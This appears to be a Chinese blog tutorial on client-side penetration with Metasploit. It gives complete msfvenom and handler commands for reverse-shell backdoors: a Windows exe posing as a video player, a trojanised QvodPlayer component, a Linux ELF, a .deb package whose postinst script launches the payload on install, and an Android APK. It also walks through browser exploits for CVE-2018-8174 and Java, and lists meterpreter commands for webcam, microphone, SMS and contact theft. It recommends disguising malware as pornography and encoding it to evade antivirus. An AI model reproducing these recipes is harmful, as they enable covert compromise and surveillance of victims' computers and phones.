天天看點

Metasploit(3) 滲透測試之通過用戶端進行滲透

用戶端滲透測試原理

  • 在我們在無法突破對方的網絡邊界的時候,往往需要使用用戶端滲透這種方式對目标發起攻擊,比如我們向目标發一個含有後門的程式,或者是一個word文檔、pdf檔案。想要達到效果同時也要利用好社會工程學,來誘騙受害者執行惡意程式。
  • 用戶端滲透技巧,通常使用者的計算機都安裝了安全軟體,一般我們生成的惡意程式都會被檢測,是以我們所設計的惡意軟體可以利用人的劣根性,比如我們将惡意軟體或網站僞裝成色情軟體或網站,這樣目标會認為他本身就是不好的軟體被安全軟體檢測是很正常的事情,如果他安耐不住關閉安全防護軟體執意要運作惡意程式,那麼他就中招了。當然這種取巧的辦法并不能解決所有問題,我們需要利用免殺來躲避安全軟體的清除。
  • 防病毒軟體收錄了大量的

    病毒

    木馬

    樣本,可通過其

    病毒

    木馬

    資料庫,檢測目前程式。是以,可以通過修改

    病毒

    木馬

    的二進制字元,或者對

    病毒

    木馬

    做加密處理,來做到免殺。

Windows用戶端滲透原理

遠端擷取PC的shell

執行個體一:生成西瓜影音.exe 後門程式。

  • 1、通過

    msfvenom

    制作後門程式。msfvenom 是 msfpayload,msfencode 的結合體,可利用 msfvenom 生成木馬程式,并在目标機 上執行,在本地監聽上線。
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.83.138 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/西瓜影音 1.exe
		 -a x86		#指定架構,x86
		--platform windows		#指定平台,為Windows。
		-p windows/meterpreter/reverse_tcp		#指定payload,為windows/meterpreter/reverse_tcp。
		LHOST、LPORT	#設定上做監聽的的主機ip和端口。
		-b "\x00"		#去掉壞字元
		-e x86/shikata_ga_nai		#編碼(做免殺)
		-i 10		#指定編碼次數,為10次
		-f exe		#指定輸出檔案的格式,為exe格式。也可以是 raw,exe,elf,jar,c 語言的,python 的,java 的……,用 -l formats 檢視所有支援的格式
		-o		#指定檔案輸出位置及檔案名。指定到網站根目錄/var/www/html,友善在肉機上下載下傳後門程式。
           
  • 在kali中,将生成的病毒檔案,輸出到了

    /var/www/html

    目錄下。然後啟動Apache:

    systemctl start apache2

    通過Apache提供的web服務将生成病毒檔案下載下傳下來:

    http://192.168.83.138/西瓜影音

  • 2、在 MSF 上啟動 handler 開始監聽後門程式 :
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp 
msf5 exploit(multi/handler) > set LHOST 192.168.1.53 
msf5 exploit(multi/handler) > set LPORT 4444 
msf5 exploit(multi/handler) > run
           
  • 危險檔案檢測:https://www.virustotal.com
  • 将“病毒檔案”發給被攻擊者,當被攻擊者執行該檔案後。目标主機就被控制。
    Metasploit(3) 滲透測試之通過用戶端進行滲透
  • 将會話儲存到背景,友善以後使用
meterpreter > background 
msf5 exploit(multi/handler) > sessions #檢視會話 
msf5 exploit(multi/handler) > sessions -i 1 #指定會話 ID,調用新的會話 
meterpreter > exit #如果不想使用了,就退出,斷開會話
           
  • PS:補充一下meterpreter的用法。

執行個體二:模拟黑客給正常的軟體加上後門

  • 場景:當我們特别需要安裝某一款軟體時,防毒軟體會報出有毒。此時,有沒有過忽視防毒軟體的提示,繼續按照軟體。尤其是:激活工具、盜版遊戲、看片神器、裸聊神器、注冊機、等等。
  • 1、先下載下傳一個正常的快播軟體(免安裝的快播軟體)。為了軟體的正常安裝啟動,盡量不要動主程式。從它的

    被調用的程式

    入手。啟動軟體時在程序中發現,當啟動主程式(

    QvodPlayer.exe

    )時,程式(

    QvodTerminal.exe

    )在會被調用。是以,用

    QvodTerminal.exe

    動手腳。
  • 2、将

    QvodTerminal.exe

    拿到msf下捆綁後門:
[email protected]:/home/kk# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.31.55 LPORT=4444 -b"\x00" -e x86/shikata_ga_nai -i 10 -x QvodTerminal.exe -f exe -o /var/www/html/QvodTerminal.exe
           
Metasploit(3) 滲透測試之通過用戶端進行滲透
  • 将已捆綁後門的

    QvodTerminal.exe

    放到原軟體包裡,替換掉原來的

    QvodTerminal.exe

  • 此時,在msf監聽它的連接配接:
msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp 
msf5 exploit(multi/handler) > set LHOST 192.168.31.55
msf5 exploit(multi/handler) > set LPORT 4444 
msf5 exploit(multi/handler) > run
           
  • 攻擊對象運作

    QvodPlayer

    ,即可觸發後門:
    Metasploit(3) 滲透測試之通過用戶端進行滲透

Linux用戶端滲透原理

制作 Linux 惡意軟體擷取 shell
  • 使用 msfvenom 生成 linux 可執行檔案
msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.83.138 LPORT=4444 -b "\x00" -i 10 -f elf -o /var/www/html/testshell
           
  • MSF 配置、監聽:
msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp 
msf5 exploit(multi/handler) > set LHOST 192.168.83.138
msf5 exploit(multi/handler) > set LPORT 4444 
msf5 exploit(multi/handler) > exploit
           
  • 打開 centos 7,建立一個終端:
wget http://192.168.1.53/testshell	 #下載下傳後門 
chmod +x testshell		#添加執行權限 
./testshell  		#執行程式
           
  • 我們回到 MSF 控制台,Session 已經建立:
    Metasploit(3) 滲透測試之通過用戶端進行滲透
制作惡意 deb 軟體包來觸發後門
  • 以freesweep.deb軟體包為例。先下載下傳:

    apt-get --download-only install freesweep

    檔案下載下傳到了

    /var/cache/apt/archibes

    ,為了便于操作,移到家目錄。
  • 解壓軟體包

    dpkg -x freesweep_1.0.1-1_amd64.deb free

  • 生成惡意代碼到軟體包源檔案中

    msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=192.168.83.138 LPORT=4444 -b "\x00" -i 10 -f elf -o /root/free/usr/games/freesweep_sources

    将惡意代碼放到freesweep軟體包的

    /usr/games/

    目錄下。
  • 拓展:生成軟體包時無論是 payload 的和軟體包資訊都需要選擇能夠在目标作業系統上執行的。 建立軟體包資訊目錄 。(必備檔案,否則不能成功建立軟體包)
[email protected]:~#  mkdir free/DEBIAN && cd free/DEBIAN 建立軟體包的資訊檔案 
[email protected]:~#  vim free/DEBIAN/control 
Package: freesweep 
Version: 1.0.1-1 
Section: Games and Amusement
Priority: optional 
Architecture: amd64 
Maintainer: Ubuntu MOTU Developers ([email protected]) 
Description: a text-based minesweeper Freesweep is an implementation of the popular minesweeper game, where one tries to find all the mines without igniting any, based on hints given by the computer. Unlike most implementations of this game, Freesweep works in any visual text display - in Linux console, in an xterm, and in most text-based terminals currently in use. 
           
  • 其中,軟體包資訊檔案中關鍵字:Package、Version、Section、Priority、Architecture、Maintainer、Description不可少,value随意填寫。
  • 本軟體包是,安裝完成deb後,出發後門檔案。
  • DEBIAN

    目錄下寫一個觸發後門的檔案:postinst,
#!/bin/bash 
sudo chmod 755 /usr/games/freesweep_sources 		#給後門檔案附執行權限。
sudo /usr/games/freesweep_sources &		#執行後門檔案,&:意為背景運作。
           
  • 然後,給postinst附執行權限:

    [email protected]:~/free/DEBIAN# chmod 755 postinst

  • 将檔案打包:

    [email protected]:~# dpkg-deb --build /root/free/

  • 此時,帶有後門的軟體包已經

    設定

    完畢。接下來就是監控

    設定

    的ip和端口,讓對方安裝觸發後門,以控制對方主機。
  • 本地監控ip和端口:
msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp 
msf5 exploit(multi/handler) > set LHOST 192.168.83.138
msf5 exploit(multi/handler) > set LPORT 4444 
msf5 exploit(multi/handler) > run
           
  • 對方安裝軟體包,觸發後門:

    [email protected]:~# dpkg -i free.deb

IE浏覽器遠端代碼執行漏洞(CVE-2018-8174)複現
  • 下載下傳CVE-2018-8174的exp:

    git clone https://github.com/iBearcat/CVE-2018-8174_EXP.git

  • html 檔案生成成功:
python CVE-2018-8174.py -u http://192.168.83.138/exploit.html -o hack.rtf -i 192.168.83.138 -p 4444

     參數說明:
      -u:URL 位址,惡意 html 檔案 exploit.html 的通路位址 
      -o:生成文檔 
      -i:監聽位址 
      -p:監聽端口 惡意
           
  • 然後,将 exploit.html 放到能夠通路到的網站目錄下,以供對方下載下傳。
  • 啟動網站服務:

    service apache2 start

  • 此時在msf中做監聽:
msf5 exploit(multi/handler) > set payload windows/shell/reverse_tcp 
msf5 exploit(multi/handler) > set LHOST 192.168.83.138
msf5 exploit(multi/handler) > set LPORT 4444 
msf5 exploit(multi/handler) > run
           
  • 當有人用有IE浏覽器核心的浏覽器通路:

    http://192.168.83.138/exploit.html

    。即可被getshell。
    Metasploit(3) 滲透測試之通過用戶端進行滲透
  • 上圖出現亂碼,設定成UTF-8就行了:

    chcp 65001

    Metasploit(3) 滲透測試之通過用戶端進行滲透
基于 java 環境的漏洞利用擷取 shell
  • 前提:被攻擊對象安裝有Java環境——安裝了

    jre-7u17-windows-i586

    。傻瓜式安裝即可。
  • 實戰:
msf5 > use exploit/multi/browser/java_jre17_driver_manager 
msf5 exploit(multi/browser/java_jre17_driver_manager) > show options
msf5 exploit(multi/browser/java_jre17_driver_manager) > show payloads
msf5 exploit(multi/browser/java_jre17_driver_manager) > set payloads java/meterpreter/reverse_tcp
msf5 exploit(multi/browser/java_jre17_driver_manager) > set LHOST 192.168.83.138
msf5 exploit(multi/browser/java_jre17_driver_manager) > run
           
  • run

    後,會給出一個需要被攻擊對象觸發 的URL:

    http://192.168.83.138:8080/bc3K9Xomd7GfN0

    Metasploit(3) 滲透測試之通過用戶端進行滲透
  • 攻擊對象通路

    http://192.168.83.138:8080/bc3K9Xomd7GfN0

    。會彈出兩個框,點選

    Later

    更新

    即可觸發。
    Metasploit(3) 滲透測試之通過用戶端進行滲透
    Metasploit(3) 滲透測試之通過用戶端進行滲透
  • 通過sessions檢視打開連接配接。
    Metasploit(3) 滲透測試之通過用戶端進行滲透
  • GetShell!!
安卓用戶端滲透
  • 使用

    msfvenom

    生成一個後門apk檔案:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.83.138 LPORT=4444 R > test.apk
           
  • 在msf中建立監聽:
msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set PAYLOAD android/meterpreter/reverse_tcp 
msf5 exploit(multi/handler) > set lhost 192.168.83.138
msf5 exploit(multi/handler) > set lport 4444 
msf5 exploit(multi/handler) > run
           
  • 此時,在安卓手機上安裝上面生成的

    test.apk

    軟體包。然後點開APP圖示,即可觸發。GetShell!!!
    Metasploit(3) 滲透測試之通過用戶端進行滲透
  • 下面,是

    meterpreter

    下的操作指令
  • 1、Stdapi:網絡攝像頭指令:
record_mic    	# 錄制預設麥克風的音頻X秒鐘
webcam_chat   	# 開始視訊聊天
webcam_list   	# 列出網絡攝像頭
webcam_snap   	# 從指定的網絡攝像頭拍攝快照
webcam_stream -i 1 #從指定的網絡攝像頭播放視訊流[選擇後攝像頭]
           
  • 2、Android指令:
activity_start   	# 從Uri字元串開始Android活動
check_root       	# 檢查裝置是否已植根
dump_calllog     	# 擷取通話記錄
dump_contacts    	# 擷取聯系人清單
dump_sms         	# 擷取短信
geolocate        	# 使用地理位置擷取目前經緯度
hide_app_icon    	# 在啟動器中隐藏應用程式圖示
interval_collect 	# 管理間隔收集功能
send_sms         	# 從目标會話發送短信
set_audio_mode   	# 設定鈴聲模式
sqlite_query     	# 從存儲中查詢SQLite資料庫
wakelock         	# 啟用/禁用喚醒鎖
wlan_geolocate   	# 使用WLAN資訊擷取目前的經緯度
           
  • 3、應用控制器指令:
app_install  	# 要求安裝APK檔案
app_list     	# 列出裝置中已安裝的應用
app_run      	# 啟動包名稱的主要活動
app_uninstall	# 要求解除安裝應用程式